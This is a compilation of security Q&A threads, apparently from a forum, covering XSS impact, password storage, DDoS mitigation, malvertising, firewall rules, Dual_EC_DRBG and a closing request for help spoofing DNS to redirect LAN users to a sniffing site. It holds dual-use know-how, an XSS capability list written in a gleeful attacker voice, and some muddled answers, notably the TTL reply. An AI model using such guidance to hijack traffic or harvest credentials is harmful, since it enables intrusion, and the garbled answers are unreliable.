Can my mouse have virus and infect other machines? This is my mouse. I used it with my old computer which was full of viruses.

If I use this mouse for my new PC, can my new computer be infected from my mouse?

USB devices as a rule, in principle, can carry viruses. But that doesn't mean that all USB devices are capable of carrying viruses, it just means that if you don't know where the device came from, then it you shouldn't plug it into your computer even if it doesn't look like a device that could transmit a virus.

That said, most mice (presumably including this one) don't contain any writable memory. So the mouse can't be modified by an infected computer. So if the mouse wasn't dangerous to begin with, then plugging it into a dangerous computer generally can't make it a dangerous mouse.

Interestingly, this particular mouse is unusual in that it does actually have some amount of memory in the form of programmable macros, actually stored on-device. This makes the device slightly more suspect -- a malicious piece of software could theoretically overwrite your macros. How that might translate into subversive behavior is anyone's guess, but for run-of-the-mill malware infections, transmission by way of this particular macro function is quite unlikely, if for no other reason than because this mouse is not very common.

There's some chatter about the possibility of overwriting the mouse's firmware so as to persist an attack. Flashing firmware was the basis for the Bad USB attack class. But this requires that the firmware be user-flashable. For most mice there's nothing to worry about. Adding a firmware modification feature to the USB connection is expensive and uncommon. But if you expect to see such a feature anywhere, it would be on overly complicated and expensive peripherals targeted at gamers.

The anatomy of such an attack would be, almost certainly, to emulate a keyboard and inject a script of keystrokes when you're not looking -- see the USB Rubber Ducky for how this works.


How dangerous is XSS? I am a software engineer and have been watching a lot of videos about XSS.

But I fail to understand how is it dangerous if it runs on the client side and does not execute on the server side which contains the databases, and many important files.

Below are the things an attacker can do if there is XSS vulnerability.

  Ad-Jacking - If you manage to get stored XSS on a website, just
  inject your ads in it to make money ;)
  Click-Jacking - You can create a hidden overlay on a page to hijack clicks of the victim to perform  malicious actions.
  Session Hijacking - HTTP cookies can be accessed
  by JavaScript if the HTTP ONLY flag is not present in the cookies.
  Content Spoofing - JavaScript has full access to client side code of
  a web app and hence you can use it show/modify desired content.
  Credential Harvesting - The most fun part. You can use a fancy popup
  to harvest credentials. WiFi firmware has been updated, re-enter your
  credentials to authenticate.
  Forced Downloads - So the victim isn’t
  downloading your malicious flash player from absolutely-safe.com?
  Don’t worry, you will have more luck trying to force a download from
  the trusted website your victim is visiting.
  Crypto Mining - Yes, you
  can use the victim’s CPU to mine some bitcoin for you!
  Bypassing CSRF
  protection - You can make POST requests with JavaScript, you can
  collect and submit a CSRF token with JavaScript, what else do you
  need?
  Keylogging - You know what this is.
  Recording Audio - It
  requires authorization from the user but you access victim’s
  microphone. Thanks to HTML5 and JavaScript.
  Taking pictures - It
  requires authorization from the user but you access victim’s webcam.
  Thanks to HTML5 and JavaScript.
  Geo-location - It requires
  authorization from the user but you access victim’s Geo-location.
  Thanks to HTML5 and JavaScript. Works better with devices with GPS.
  Stealing HTML5 web storage data - HTML5 introduced a new feature, web
  storage. Now a website can store data in the browser for later use
  and of course, JavaScript can access that storage via
  window.localStorage() and window.webStorage() Browser & System
  Fingerprinting - JavaScript makes it a piece of cake to find your
  browser name, version, installed plugins and their versions, your
  operating system, architecture, system time, language and screen
  resolution.
  Network Scanning - Victim’s browser can be abused to scan
  ports and hosts with JavaScript.
  Crashing Browsers - Yes! You can
  crash browser with flooding them with….stuff.
  Stealing Information -
  Grab information from the webpage and send it to your server. Simple!
  Redirecting - You can use javascript to redirect users to a webpage
  of your choice.
  Tabnapping - Just a fancy version of redirection.
  For example, if no keyboard or mouse events have been received for
  more than a minute, it could mean that the user is afk and you can
  sneakily replace the current webpage with a fake one.
  Capturing
  Screenshots - Thanks to HTML5 again, now you can take screenshot of a
  webpage. Blind XSS detection tools have been doing this before it was
  cool.
  Perform Actions - You are controlling the browser,


Is it safe to store a password hash history for preventing user to keep same password repeatedly in some cases? I am developing an application in PHP and it uses bcrypt encryption to store passwords. I want to keep the history of hashes whenever the user changes the password. By doing this I want to stop the user from entering the previous passwords in some scenarios.

Is it safe to keep the history of hashes?

According to my observation, if a user changes his password and keeps the same as a previous one, the hash values become different. How can I stop him from keeping the same password from the previous history? Is it possible while using bcrypt encryption?

Security of storing Hash History

  Is it safe to keep the history of hashes?

Relatively. I can imagine some scenarios where this would harm the security of the user, eg:

A user uses a relatively weak password, realizes this and updates the password to a better password, based on the previous password (simple example: superawesome -> !sup3eraw3s0m3!), this would lead to an attacker being able to easier crack the now more secure password (they first crack the easy password, have it in their wordlist now, and then apply basic rules to it such as e -> 3, etc).
They previously used a password on your website that they also use at a lot of other websites, stopped trusting your website, and thus changed the password at your website. An attacker could get your database, crack their old password (which they thought would be deleted from your database), and then try the login credentials at a different website.
After a while, you have a lot of history on a user that changes passwords frequently. An attacker cracks lets say 30% of the history hashes, and now has a pretty good idea how that specific user creates passwords. If the user doesn't create passwords truly random, it will be a lot easier to break the current password.

So I would not recommend keeping a password hash history.

Alternative

  How can I stop him to keep the same password from the previous history?

Don't keep a history. When a user changes their password, you still have the original password hash in the database. You can compare it to that to prevent exact duplicates.

But using bcrypt, this happens:

  According to my observation, if a user changes his password and keeps the same as a previous one, the hash values become different

It happens because bcrypt automatically manages salts for you. So when you hash a new password, it is hashed with a different salt, and thus the hash is different. You could retrieve the old salt, and then pass it onto password_hash as argument to get the same hash.

Better Alternative

You could also require the user to submit their old password when changing passwords (which also increases security[*]), and then you can even check if the new password is similar to the old password (eg using hamming distance or similar).

Both of my alternatives do not prevent cyclic changes though (eg super-secure-password -> another-awesome-credential -> super-secure-password), but I'm not sure if I would really be worried about that.

[*] someone highjacking a session can't change the password, and the password can't be changed by CSRF (even if there is an XSS vulnerability).


How and why is my site being abused? I own a popular website that allows people to enter a phone number and get information back about that phone number, such as the name of the phone carrier. It's a free service, but it costs us money for each query so we show ads on the site to help pay for it. To make sure people don't abuse it, we have a captcha and use the IP addresses to limit the number of queries to 30 per month.

But we've been seeing abuse anyway; we'll suddenly get bursts of huge numbers of queries from all different IP addresses making queries (hundreds per minute), and getting the captchas correct. So I keep changing the captcha - I've tried ones with words, math equations, reCAPTCHA, etc. When I do this, it stops the "attack" for 24 hours or so, and then it begins again.

I understand people can use OCR and other methods to get around captchas, but I don't understand why they are coming from lots of different and unrelated IP addresses.

Maybe they're spoofing the IP addresses?  If so, they can't be getting the results from the queries, correct?  In this case, maybe the goal is to try to hurt us financially, as opposed to them simply wanting the data?

If they are not spoofing the IP addresses, maybe they have hacked a huge number of different computers and are executing queries from them?  This doesn't make sense to me because of the sheer number of ip addresses we're seeing (hundreds of transactions per minute with a maximum of 30 queries per IP address, for long periods of time), and the fact that this data really isn't that valuable.

So I'm trying to understand their motivation as well as how they are accomplishing this, in order to be able to fight back appropriately.

Interesting problem.  I wonder if a solution to this problem may be to force your users' web browsers to solve a cryptographic problem (using javascript running in their web browser) that is 'hard' to solve, but 'easy' for your site to verify.  By 'hard' to solve, I mean a problem that would take ~10 seconds to solve with the resources of a typical desktop or laptop.  A problem akin to the problem that bitcoin miners solve when new blocks are mined, but of course on a much simpler scale.

Your legitimate users would not notice the difference, as the script churns away while they fill out the form on your site.  But, it would slow down the abusers considerably, and force them to allocate a lot more resources, and force them to re-work whatever tool they are using to automate these posts to your site.


NTP DDoS Attack on Home Servers After some half-good script kiddies found out about this exploit or DDoS method, they have been doing it like crazy to websites, game servers, and now my home servers which allows me to work on some of my client's websites and different projects for people. My ISP is calling me, complaining about it and how it is using up a lot of their bandwidth. They are complaining that they are going to shut off my business plan service if it does not stop.

Also, all of my home servers run Fedora 17, PHP 5.5, Apache 2.6, MySQL 5.5.

How can I patch or block this method of attack?

As an immediate mitigation, shut down your NTP service until you can get it secured properly.  Your computer's clock won't (or at least, shouldn't) drift too much in a day or two.  You'll still be seeing the incoming requests, but your server won't be sending replies, so the overall traffic level should drop by 90% or more.

Since you're running a home server, you're probably not providing public NTP services.  In this case, securing things is easy.  You can block all incoming traffic to UDP port 123 at the firewall, or you can use the "UNIX ntpd" template here to configure ntpd to ignore incoming requests, or (better) do both.


Popular website contains ad that triggers remote scan from botnet: what should I do? One of my country's main TV channel has a website from which one can watch it live - in streaming. Obviously, it serves ads in the meanwhile, mainly from google partners.
One night I had the website open while watching at my router logs and I noticed that - according to my router - I was being DDoSed by about 20 IP addresses.

I investigated further and found that this happens most times I open the website at peak time (20-23) and I allow third party Javascript.
Specifically, it happens when I allow the domain partners.googleadservices.com, which in turns loads other javascript on a different domain, that in turn loads more external javascript, that in the end results in my IP being caught and "DDoSed" by the botnet.

The third level domain of the actual URL last loaded before triggering the event is listed online as a domain that a while ago had to do with the distribution/monetization of a malicious browser extension.

What the router calls "DDoS" actually consists of UDP packets being sent from random ports to random ports. The logs are not more specific and I didn't feel like forwarding all ports traffic to analyse it.

I have had a look at the machines behind those IPs and they seem to be compromised machines: they belong to various, very different, registrars and sometimes expose what look like vulnerable services (webservers, old routers interfaces, webcam controllers...).

The strangest thing is that the first time I whoised the originating IPs,  most of them belong to my country (not a huge one) and the most frequent was actually from my home town - definitely not a big one!
But probably it was only a coincidence since with more data the IPs seem to be distributed all over Europe.

Now I have two questions, and I hope it is appropriate to ask them here.
1) Is it what it looks to me? An ad that is either malicious or compromised and that triggers a botnet scan to recruit more machines?
2) Is this normal and common? what should one do? Ignore it? Tell the website owner? Tell the ad provider? Should/am-i-legally-allowed-to investigate more?

Thanks!

Very interesting analysis.

Malicious ads/creatives are becoming more careful and precise in their targeting, meaning that they increasingly include code that makes a decision whether the malicious payload should be deployed or not, and if not, a legitimate creative is delivered instead.

So it is not impossible and in fact not even unlikely that the operator controlling this malicious deployment is targeting a specific geographical area at a specific time, and that as a result of that targeting, there was some signal that your IP address should be invited to join the party, which was hopefully foiled by your router or by other defenses.

In terms of actions, I have two to suggest.

Contact the website owner- the TV station. They have control over what kinds/providers of ads/creatives are allowed on their properties (inventory), and their reputation- not the advertiser or ad exchange- is impacted if malicious activity is detected by their customers or other monitors. So, definitely reach out to them with any details you can find.
Check that the machine you were browsing from is not compromised, e.g. is not listening on those udp ports, or has unusual processes running, or is issuing strange outbound command-and-control requests.


Search for user credentials within a packet capture of a gmail session over SPDY I was reading this paper on SSL/TLS from the SANS Reading Room on how to capture and decrypt your own SSL traffic with Wireshark. I wanted to capture the credentials used to login to gmail. When the TLS handshake takes place, the browser and the server agree to communicate over SPDY.

SPDY is very new to me. On the wire it looks a bit different than HTTP. I can see the decrypted packets in Wireshark if I filter by 'SPDY'. But I just cannot pin down the packet that contain the credentials. I do a search for the string that contains my password and it returns nothing. I am wondering whether the credentials appear different in SPDY than they do in HTTP. Although when I use the Live HTTP Headers add-on I can definitely see the password.

Looking for some hints on how to search for user credentials within a gmail session over SPDY. Thanks!

I am not an expert of how Gmail login works, but I am guessing it relies on cookies, which are normal HTTP headers.

In SPDY, HTTP headers are gzip compressed in the SYN_STREAM frame on a per-connection basis (not per-frame), and that is why you cannot search for strings representing header values like you can do with plain HTTP.

Wireshark has a SPDY plugin that will do this decompression for you (which is not trivial to do by hand), so that Wireshark will show you the actual decompressed headers.

There are also a number of videos online that show how to decrypt SSL and SPDY traffic that you can lookup, and that show how Wireshark can decompose SPDY frames into human readable format, for example this one.


Odd password scrambling algorithm I'm researching an application that has password scrambling algorithm that I've not seen before. I generated a few passwords (the max. length allowed is 8 chars), and got the following results:

password:     0  0  0  0  0  0  0  3
scrambled:    W1 U6 W1 U6 W1 U6 W1 X2

password:     0  0  0  0  0  0  0  2
scrambled:    W1 U6 W1 U6 W1 U6 W1 M7

password:     0  0  0  0  0  0  0  1
scrambled:    W1 U6 W1 U6 W1 U6 W1 F2

password:     0  0  0  0  0  0  0  0
scrambled:    W1 U6 W1 U6 W1 U6 W1 U6

password:     1  2  3  4  5  6  7  8
scrambled:    H9 G6 B5 G3 F8 Q7 X8 O9

The scrambling is clearly reversible. I'm thinking worse comes to worse I could generate a dictionary mapping but I'm thinking there'd be a cleverer way of going about this.

Has anyone encountered something like this before?

Update

More Values and noted:

0 behaves quite differently than other characters
@ is also noteworthy (constant at every position)
algorithm can't or won't process passwords of less than 3 chars

4  4  4  4  4  4  4  4
A2 S5 K9 G3 Y6 U0 M4 E8

3  3  3  3  3  3  3  3
L4 Z5 B5 R1 R5 F7 H6 X2

2  2  2  2  2  2  2  2
W6 G6 S0 C0 K4 U3 C8 M7

1  1  1  1  1  1  1  1
H9 N6 F6 J8 D3 J0 B0 F2

1  0  0  0  0  0  0  3
H9 U6 W1 U6 W1 U6 W1 X2

a  b  a  b  a  b  a  b
H1 E3 B8 W6 Z4 S0 X1 K4

b  b  b  b  b  b  b  b
S8 E3 O2 W6 G6 S0 C0 K4

a  a  a  a  a  a  a  a
H1 L3 B8 H5 Z4 D7 X1 Z8

A  B  C
N6 C0 L0

B  B  B  B  B  B  B  B
M7 Y1 I1 Q5 A5 I9 S8 E3

A  B  A  B  A  B  A  B
B0 Y1 V6 Q5 T3 I9 R0 E3

A  A  A  A  A  A  A  A
B0 F2 V6 B4 T3 X5 R0 T7

A  A  A  A  A  A  A
J0 B0 F2 V6 B4 T3 X5

A  A  A  A  A  A
D3 J0 B0 F2 V6 B4

A  A  A  A  A
J8 D3 J0 B0 F2

A  A  A  A
F6 J8 D3 J0

A  A  A
N6 F6 J8

@  @  @  @
M2 M2 M2 M2

#  #  #  #
P2 B9 F3 T4

*  *  *  *
A9 A1 U7 Q9

!  !  !  !
Z4 D7 X1 Z8

General rule for a brute-force approach to un-scrambling these passwords:

In a string of length L, a given char at position N will always have the same value.

IE: In 8 character long passwords, if the first char is A, it will always be encoded the same way.

NB: I've figured out the "brute-force" way of unscrambling these, but I would love to know the algorithm used for scrambling the passwords. If anyone has experience on reversing these kind of things I would love some tips on how to proceed from here.

This sequence:

a  b  a  b  a  b  a  b
H1 E3 B8 W6 Z4 S0 X1 K4

b  b  b  b  b  b  b  b
S8 E3 O2 W6 G6 S0 C0 K4

a  a  a  a  a  a  a  a
H1 L3 B8 H5 Z4 D7 X1 Z8

tells that there is a key being used to scramble the input password, much like XOR, except most uses of XOR would output in hex while this output is base36?

This sequence

A  B  A  B  A  B  A  B
B0 Y1 V6 Q5 T3 I9 R0 E3

A  A  A  A  A  A  A  A
B0 F2 V6 B4 T3 X5 R0 T7

A  A  A  A  A  A  A
J0 B0 F2 V6 B4 T3 X5

A  A  A  A  A  A
D3 J0 B0 F2 V6 B4

makes me think there are different keys for different length strings.

So, I'm guessing the algorithm takes the plaintext 'a', takes the ascii value of 'a' (97) converts it to base36 (2P), XORs it with the respective value in the key and gives the base36 value of H1.

EDIT:  it doesn't appear to be base36.  Whatever the encoding scheme in use, I'm still guessing that it uses XOR.  It would help explain the behavior of zero since zero XORed with X is always X.

If that is true, the process is reversible and the keys can be found, removing the need to brute force or make lookup tables.


Does password expiry provide any benefit at all (when using randomly generated passwords)? I have been seeing a shift in password policy, this has been going on for a while (Article from 2017) but I have only just picked up on this. In my organization we expire the user passwords every 90 days. When they set up their baseline, this was standard practice. But:

...In this day and age, changing passwords every 90 days gives you the ILLUSION of stronger security while inflicting needless pain and cost to your organization...
SANS.org.

Let's assume all of my users are professionals:
 - They use a secure password/passphrase generator and manager for all their accounts.
- There are no sticky notes with passwords.
- There are no incremental password changes eg. admin2018, admin2019 since the passwords/passphrases are randomly generated.

Is there no benefit at all to replacing their current password/passphrase with a new randomly generated one every 90 days?

90 days is more than enough to profit from stolen credentials (however strong they are). Moreover, most passwords will vary only by a digit or two when changed, so even a password older than 90 days will allow an attacker to guess the new one fairly easily.

If your passwords are strong (randomly generated by password managers) and one still manged to leak and find its way into the hands of an attacker, the solution is to fix the source of the leak, not to blindly update the passwords. Changing the passwords will not prevent new passwords to leak in the same way.
It would be wiser to prevent password guessing attempts and to try detecting abnormal authentications. Using proper 2FA could also better mitigate passwords leaks.

In the same time, this policy pushes the users to make passwords easier to remember, thus easier to guess by an attacker. All thing considered, the policy mandating to update the passwords regularly weakens the overall security provided by the password protection. That is why Microsoft is planning to remove this policy from of Windows 10 starting with the may 2019 update. The NIST also recommends against its usage for password that needs to be remembered.


Asymmetric crypto: Decrypt own messages without having private key I have built a messages system for my website. Users can send the admin messages which are stored in the DB after being AES-encrypted.

I think that using asymmetric crypto (RSA through openssl) would be more secure: no decryption key to hardcode in php source. In fact, only the admin would have the private key.

The problems start when I create the sent folder feature in PHP. How can users decrypt their own sent messages, if they don't have the private admin key?

EDIT! Please, tell me if this approach is valid and more secure than hardcoding symmetric keys in PHP:

1) script generates user key pair from his password (manually entered)

2) openssl_seal encrypts the message using public keys (admin standard-generated pub key and user password-derived pub key).

3) script stores the results in the DB.

4) when user requests the content, script re-derives user keypair and decrypts.

5) when admin request the content script uses standard generated admin key and decrypts.

If you encrypt the message using a symmetric algorithm (AES), then you store this key twice - once encrypted with the admins public key, and the other with the users public key.

This way when the admin wants to view the message, he decrypts the first key, and the user uses the second.


Is Google spying on all of us? I am curious because, I experienced something bizarre recently. About a month ago, someone asked me to find out a price for a T-shirt printing machine, and probably for the first time, I pressed these keys and started searching, searching, for long and many found many results only using through the Google search engine. But now, even after two weeks has passed.. I see almost all the Google ads in the site I visit including YouTube have been changed, and only advertise T-shirt printing machine. Like the ones I was searching.

There is only one explanation for this, and Google has been controlling what I search and keeps log of these keywords. This might be normal for some people, and most of you might have known about this, but I find it unjust that a site can keep track of what you type and what you look for without asking permission. That's right! isn't it? We can agree to the terms and conditions when we signup to Google, but, they should be mentioned in the terms, or be specified in a very apparent manner.

edit: There have been responses from users, which according to them: Google has been snooping information from their private emails.

NOTE: I work at Google now. I didn't work there when I wrote this. This is my own opinion, not Google's. But it's the only opinion that makes any sense. It's also probably the most important thing I've written on this site; you must understand this to understand what online privacy is.

Advertisers use what information they have to try to best guess what sort of ads you will be most interested in. In Google's case, your search activity is probably the best indicator they have, but ad clicks and ad impressions are also considered. In Amazon's case, for example, your purchase and product browsing history is their best indicator, and you'll probably notice that their suggestions closely mirror your recent history — even if that most recent history dates back to two years ago.

My own search and browsing habits tend to favor highly technical content; servers, programming, malware, etc. The ads I see when browsing under that profile therefore tend to also favor technical content: colocation, hosting, software, etc. This is totally Fine By Me™. When I watch TV, I have to endure a depressing amount of ads about feminine incontinence, retirement homes, and herpes medication. But on the Internet, the ads are all software and servers.  Do I think that's creepy? Hell no. The fewer herpes ads the better, IMO.

To be clear: I'm a strong proponent of online privacy. However, I manage my online privacy by controlling the information I make available online. I don't expect others to maintain my privacy for me; the concept doesn't even make sense. If you don't want them to know something, then don't tell them. Telling them and then demanding that they forget is a recipe for disaster on numerous fronts, and even comical from a security standpoint.

My search history is carefully curated; if I don't want a search associated with me, I use a private browsing session. Sure, I could use a service that promises to not remember what I tell them, but I would be an idiot if I were to depend on that promise. Remember Hushmail? Still, I prefer to use a service that allows me to craft my own online preference profile so that they can filter out all the crap I clearly don't want.

Is this legal? — So far yes. I would hope that it remains so, since the unintended consequences of making it illegal would be so far reaching and unexpected that it would have devastating consequences for completely innocent Internet users and site operators. Internet regulation reliably makes things worse.

Does this bother me? — Of course not. If I buy an apple from a market, is it creepy for the vendor to ask me the next day whether I liked my apple? Do I think he's spying on me? If I tell him I liked it, is it creepy for him to suggest that I buy more apples at a subsequent visit? No, of course not. It's just good customer service. If he tells the fruit vendor next door that I like apples, should that be illegal?  Of course not: It's his information to give, just like any conclusions I make about him are my information to share as I see fit.

Vendors online remember what we tell them just like vendors at your local market. My fruit vendor may remember that I visited his store even though I didn't buy anything, and yet I don't assume that he's spying on me. I'm visiting him, not the other way around. Likewise, when I visit Google, I don't think it's spying for them to remember what I ask them.

The biggest problem with online privacy is the implicit belief that because I connect to the Internet from the privacy of my own home, anything I do on the Internet also happens in the privacy of my own home. This is lunacy. Everything you do on the Internet is absolutely public unless you can verifiably prove otherwise.


Different TTL for a single server One of our client perform a qualys pentest, and find LB based on TTL value. We have only 1 server behind FW with NAT IP. Running ubuntu that has default TTL '64'

qualys output

Number of web servers behind load balancer:
2 - based on IP TTL values
Received 35 SynAck packets with ttl=52
Received 157 SynAck packets with ttl=244

I have run a external hping

root@ip-10-10-10-24:~# hping3 my.site.xxx -S -p 443
HPING my.site.xxx (eth0 00.000.000.000): S set, 40 headers + 0 data bytes
len=44 ip=00.000.000.000 ttl=55 DF id=0 sport=443 flags=SA seq=0 win=14600 rtt=149.8 ms
len=44 ip=00.000.000.000 ttl=55 DF id=0 sport=443 flags=SA seq=1 win=14600 rtt=145.6 ms
len=44 ip=00.000.000.000 ttl=55 DF id=0 sport=443 flags=SA seq=2 win=14600 rtt=145.6 ms
len=44 ip=00.000.000.000 ttl=51 DF id=0 sport=443 flags=SA seq=3 win=14600 rtt=150.0 ms
len=44 ip=00.000.000.000 ttl=55 DF id=0 sport=443 flags=SA seq=4 win=14600 rtt=145.7 ms
len=44 ip=00.000.000.000 ttl=51 DF id=0 sport=443 flags=SA seq=5 win=14600 rtt=145.5 ms

Above output shows me 2 TTLs 51 nd 55.
Now how it is possible that 2 TTLs generated, even i have only 1 physical server.

And why TTL value has been changed if i change hping location. Because as per my understanding TTL is defined by destination server/machine, and in my case it should be 64 .

Edit

After further study, we have noticed that they are getting TTL of ubuntu and FW, see following hping results

Hping with protocol

[root@www ~]# hping2 my.site.xxx -S -p 443
HPING my.site.xxx (eth1 00.000.000.000): S set, 40 headers + 0 data bytes
len=46 ip=00.000.000.000 ttl=56 DF id=0 sport=443 flags=SA seq=0 win=14600 rtt=274.3 ms
len=46 ip=00.000.000.000 ttl=56 DF id=0 sport=443 flags=SA seq=1 win=14600 rtt=278.0 ms
len=46 ip=00.000.000.000 ttl=56 DF id=0 sport=443 flags=SA seq=2 win=14600 rtt=269.5 ms

Hping without protocol

[root@www ~]# hping2 my.site.xxx -S
HPING my.site.xxx (eth1 00.000.000.000): S set, 40 headers + 0 data bytes
len=46 ip=00.000.000.000 ttl=254 id=64796 sport=0 flags=RA seq=0 win=512 rtt=0.3 ms
len=46 ip=00.000.000.000 ttl=254 id=62708 sport=0 flags=RA seq=1 win=512 rtt=0.2 ms
len=46 ip=00.000.000.000 ttl=254 id=58173 sport=0 flags=RA seq=2 win=512 rtt=0.3 ms
len=46 ip=00.000.000.000 ttl=254 id=34675 sport=0 flags=RA seq=3 win=512 rtt=3.1 ms

I think the problem is the routes and protocol used.

Try,

to ping server use Packer equal the '0' in LAN, and internte ping:

try hping use diffent flag:

"-O --tcpoff
    Set fake tcp data offset. Normal data offset is tcphdrlen / 4."

or

"-2 --udp
    UDP mode, by default hping2 will send udp to target host's port 0. UDP header tunable options are the following: --baseport, --destport, --keep."

If you send an empty package and it comes back full.

  Ne nuntium necare ( do not kill the messenger ). Latin proverbs.

reference: http://linux.die.net/man/8/hping3

http://www.hping.org/manpage.html


Is problem with string length in token (read password) randomization a security flaw? Is there any impact for the same? this application sends a password to user's email when user click on forgot password on login page. However, the password is not the same in length always something it will be a 25+ string and something less than 10 chars, this is not at all constant.

Can this be considered a security issue in any way? As per my knowledge since its not affecting anything it won't be considered so thought to know if anyone in community knows any way to exploit this (except brute force obliviously)?

PS: I have access to application's source code, maybe I should do a source code review and try to chain this issue with something else.

EDIT: Just checked my mails, one of the passwords I received was as high as 95 char string. Isn't this stupidity, sometime 95 char long string and sometime just 10 chars?

As long as a truly randomly generated password is at least 6 characters long, it passes the NIST's password standards, which is regarded by many to be a good bare minimum standard.  (A user-generated password should be at least 8 characters long, because it's much less likely to be randomly generated.)  Your own security team should decide on reasonable minimums for your organization.

The most important factor in any secure password is how random it is.  If we assume that the passwords are generated in a secure way, then varying their length will tend to improve the security of the overall system.

Applying Kerckhoff's Principle, that everything in a system is public knowledge except for the key -- in our case, except for your password -- we must assume that an attacker will know the length of the passwords that such a system generates.  If they can't be certain of the length because it can be anywhere from 10 to 95 characters, then this increases the search space, and can increase the time it takes to brute force a password (though if you're unlucky enough to get a very short password, it might decrease the time).

So, outside of any other considerations, the security of a system is not meaningfully impacted by having a random password length, when that password has a reasonably long minimum length.

You state in your comments that the emails are always sent encrypted. This removes one such "other consideration" that I allude to in the above paragraph.  If they were sent unencrypted, then the proper action would to make these randomly generated password be one-time-use passwords which must be reset once you gain access to the account.  This way, if someone did beat you to logging in, you would know, and could take additional action as necessary.

Another consideration is password storage.  Since you have access to the application's source code, you can ensure that they're using a key stretching algorithm with configurable difficulties to make offline brute force attacks as expensive as possible. The NIST standard specifically mentions PBKDF2 and BALLOON.  Other key stretching algorithms with configurable difficulties include bcrypt, scrypt, and Argon2.  Simply salting and hashing a password is no longer considered secure, even if using the "best" cryptographic hashing algorithm. These hashing algorithms are indeed part of PBKDF2, but should not be used by themselves to secure passwords.

One final consideration is the human factor.  People don't enjoy using very long, truly random passwords. The longer and less memorable it is, the more likely it is to appear on sticky notes tucked under keyboards.  The solution to this, of course, is to encourage use of password managers.


Which set of rules is more restrictive when allowing SSH in iptables? I have seen two set of rules to allow SSH communication:

Set A:

iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT

Set B:

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

None of both sets is superior in general, but the question is specifically about ordinary SSH communications, with key-pairs-authentication-only if that simplifies the matter (and pretty much a must in the context of security), since that way we know brute force attacks are not going to pass through in any case.

Which of both sets is more restrictive (will filter out or mitigate more non-intended communication or resource-consumption)? Furthermore, is it possible to combine both sets to make an even more restrictive rule?

Set B, in isolation does not allow ssh communications. It merely permits a connection allowed by other rules to be continued or (subject to certain combinations such as for H.323 and FTP) for new connections to be established between IP addresses which have an existing entry in the conntrack table.

The problem with Set A is that it is not stateful - an attacker could create a client connection to any port on your server as long as the client end used port 22. To address this problem you need a stateful firewall - i.e. one that takes into consideration the direction of the connection. Hence its more common to see something like:

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
...
iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT

Putting ESTABLISHED,RELATED first means that the whole ruleset need only be parsed once per connection - subsequent packets are matched by the first 2 rules. This can have a lot of impact on a latency with a complex ruleset.

The downside of using stateful firealling is that it consumes resource on the server - when the conntrack table fills up, the firewall will start dropping connections. OTOH, the stateful module allows for more complex demand management - typically by limiting the rate of connections.

  with certificate-authentication-only

Really? While there are versions of ssh using certificates for managing keys it is a very unusual case. Do you mean key pairs?

  None of both sets is superior in general

...

  Which of both sets is more restrictive

If neither is superior, how can one be better?

For a host firewall, you should use stateful firewalling - to prevent the bypass described earlier.


Which products are affected by NSA's ability to crack pseudo-random-number generator Dual_EC_DRBG? After reading this article about RSA advising its customers not to use the default random-number generator in its encryption products - amid fears spooks can easily crack data secured by the algorithm, what products need immediate attention and configuration change? Does it affect the hardware token generators used for two factor authentication from RSA?

(*cough* alleged ability *cough*)

TL;DR: There is widespread use of BSAFE, and widespread availability of (though not necessarily use of) Dual_EC_DRBG. Though there is a lack of definitive vendor statements at this time, there is an unsubstantiated claim that SecureID is not at risk from this, and other than a single McAfee product, nothing seems immediately at risk.

The crypto.se question Who uses Dual_EC_DRBG? doesn't identify many actual products, primarily just the RSA BSAFE developer library.

The actual RSA advice/statement (presumably limited release) appears at the end of this article. In that Wired claim to have a source who states no SecureID (hardware or software) uses the affected PRNG. Since it could be quite expensive and embarrassing if it was the case, you may choose to disbelieve this ;-)

Since we know the RSA BSAFE library uses Dual_EC_DRBG (inexplicably, since there has been suspicion hanging over this PRNG since 2007) by default, I would guess that this would be the main vector, and your question should be answered by D.W.'s similar crypto.se question Who uses the RSA BSAFE library?, which is unanswered at this time ...

This rather old (1998) and slightly ironic RSA Bulletin Preliminary Analysis of the BSAFE 3.x Pseudorandom Number Generators (PDF) opens with:

  An enormous number of commercial applications (over 350 million copies) rely on the BSAFE and JSAFE toolkits from RSA Data Security to generate cryptographically strong pseudorandom numbers

hinting at the potential scale 15 years ago, and prior to the freely available version (and also prior to the affected algorithm).

Given the lack of a CVE, the NIST DRBG Validation List (Google cached copy) is probably a good start (though not necessarily a comprehensive list). Vendors with validated Dual_EC_DRBG implementations include Juniper, Cisco, RIM, Symantec, Riverbed, McAfee, SafeNet, Microsoft and OpenSSL. Only terse information about products is given, if any.

See this article for some (unsubstantiated) vendor statements:
 http://www.crn.com/news/security/240161911/cisco-mcafee-other-firms-addressing-nsa-linked-encryption-algorithm.htm

Regarding OpenSSL, it's not the default PRNG, and soon won't be supported at all.

McAfee Firewall Enterprise Control Center (uses BSAFE) only uses Dual_EC_DRBG in FIPS deployments

Several versions of MS-Windows support Dual_EC_DRBG, somewhat ironically (PDF) but it's not a default, though as Schneier says:

  “A Trojan is really, really big. You can’t say that was a mistake. It’s a massive piece of code collecting keystrokes,” he said. “But changing a bit-one to a bit-two [in the registry to change the default random number generator on the machine] is probably going to be undetected. It is a low conspiracy, highly deniable way of getting a backdoor. So there’s a benefit to getting it into the library and into the product.”

As for the use of BSAFE, I can easily find (hint: use your favourite search engine to search for the terms "This product includes" "RSA BSAFE") implementations, oddly skewed towards imaging and gaming devices:

surprisingly many printer/copier/fax devices use BSAFE, though for unknown purposes. Including Ricoh, Minolta, Océ/Canon, Brother, Fuji/Xerox, Epson ...
Your Playstation (PDF), PSP, or your Nintendo DS wifi (PDF)
Software from Adobe, Hitachi, Oracle and HP
Some Nokia phones(PDF)


Force DNS to attach bad IP address The question is not professional, but what I'm trying to say is...

Is there any way to inject or force the DNS server to attach/change an IP address for some site. For example, I'm running an apache on my machine and I have my sniffing website on it. I'd like to know how to attack the DNS which is going through port 53 on my gateway, so it will change the IP address for www.example.com to my local IP address and everyone from the local network that I'm connected to will be redirected to my machine when they type www.example.com

I'm not asking for every step of this attack, just some info and maybe the name of attack like this.

